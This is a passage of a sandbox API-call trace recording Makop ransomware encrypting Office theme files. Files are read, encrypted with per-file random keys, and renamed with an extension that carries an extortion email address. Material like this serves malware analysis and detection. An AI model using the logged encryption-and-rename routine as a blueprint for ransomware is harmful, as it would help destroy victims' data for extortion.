Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF") returned 77 [0095.501] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0095.502] GetProcessHeap () returned 0x48a0000 [0095.502] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0095.502] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0095.502] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0095.502] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x5, lpOverlapped=0x0) returned 1 [0095.505] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0095.505] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.505] GetProcessHeap () returned 0x48a0000 [0095.505] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0095.505] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0095.505] CryptDestroyKey (hKey=0x48c7168) returned 1 [0095.506] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0095.506] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0095.506] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0095.506] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0095.506] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0095.506] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0095.507] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0095.507] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.507] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.507] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x22b, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x22b, lpOverlapped=0x0) returned 1 [0095.507] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x230, dwBufLen=0x230 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x230) returned 1 [0095.507] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.507] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x230, lpOverlapped=0x0) returned 1 [0095.508] CryptDestroyKey (hKey=0x48c7168) returned 1 [0095.508] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x304, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.508] SetEndOfFile (hFile=0x138) returned 1 [0095.514] GetProcessHeap () returned 0x48a0000 [0095.514] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0095.514] GetProcessHeap () returned 0x48a0000 [0095.514] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0095.514] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0095.514] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.inf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0095.520] CloseHandle (hObject=0x138) returned 1 [0095.520] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b50300, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85b50300, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x621, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0095.520] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0095.521] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0095.522] GetProcessHeap () returned 0x48a0000 [0095.522] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0095.522] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0095.522] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0095.523] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xf, lpOverlapped=0x0) returned 1 [0095.526] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0095.527] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.527] GetProcessHeap () returned 0x48a0000 [0095.527] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0095.527] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0095.527] CryptDestroyKey (hKey=0x48c7168) returned 1 [0095.527] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0095.527] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0095.527] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0095.527] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0095.528] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0095.528] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0095.528] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0095.528] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.528] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.528] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x621, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x621, lpOverlapped=0x0) returned 1 [0095.528] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x630, dwBufLen=0x630 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x630) returned 1 [0095.528] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.529] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x630, lpOverlapped=0x0) returned 1 [0095.529] CryptDestroyKey (hKey=0x48c7168) returned 1 [0095.529] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x704, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.529] SetEndOfFile (hFile=0x138) returned 1 [0095.536] GetProcessHeap () returned 0x48a0000 [0095.536] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0095.536] GetProcessHeap () returned 0x48a0000 [0095.536] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0095.536] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0095.536] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0095.537] CloseHandle (hObject=0x138) returned 1 [0095.537] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x6292, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0095.537] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0095.537] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0095.539] GetProcessHeap () returned 0x48a0000 [0095.539] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0095.539] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0095.539] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0095.539] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xe, lpOverlapped=0x0) returned 1 [0095.543] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0095.543] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.543] GetProcessHeap () returned 0x48a0000 [0095.544] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0095.544] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0095.544] CryptDestroyKey (hKey=0x48c7168) returned 1 [0095.544] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0095.544] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0095.544] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0095.544] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0095.544] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0095.545] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0095.545] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0095.545] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.545] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.545] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6292, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x6292, lpOverlapped=0x0) returned 1 [0095.546] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x62a0, dwBufLen=0x62a0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x62a0) returned 1 [0095.574] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.575] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x62a0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x62a0, lpOverlapped=0x0) returned 1 [0095.575] CryptDestroyKey (hKey=0x48c7168) returned 1 [0095.575] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x6374, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.575] SetEndOfFile (hFile=0x138) returned 1 [0095.582] GetProcessHeap () returned 0x48a0000 [0095.582] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0095.582] GetProcessHeap () returned 0x48a0000 [0095.582] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0095.582] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0095.582] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0095.583] CloseHandle (hObject=0x138) returned 1 [0095.584] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x6292, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0095.584] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0095.584] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARCTIC", cAlternateFileName="")) returned 1 [0095.584] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC") returned 62 [0095.584] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\*.*") returned 66 [0095.584] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0095.586] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0095.586] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc081900, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5146e3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdc081900, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x10fc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARCTIC.ELM", cAlternateFileName="")) returned 1 [0095.586] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM") returned 73 [0095.586] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0095.588] GetProcessHeap () returned 0x48a0000 [0095.588] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0095.588] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0095.588] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0095.588] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x9, lpOverlapped=0x0) returned 1 [0095.592] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0095.592] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.592] GetProcessHeap () returned 0x48a0000 [0095.592] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0095.592] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30) returned 1 [0095.592] CryptDestroyKey (hKey=0x48c7168) returned 1 [0095.592] WriteFile (in: hFile=0x138, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6576028*=0x30, lpOverlapped=0x0) returned 1 [0095.592] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0095.593] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0095.593] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0095.593] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0095.593] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0095.593] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: 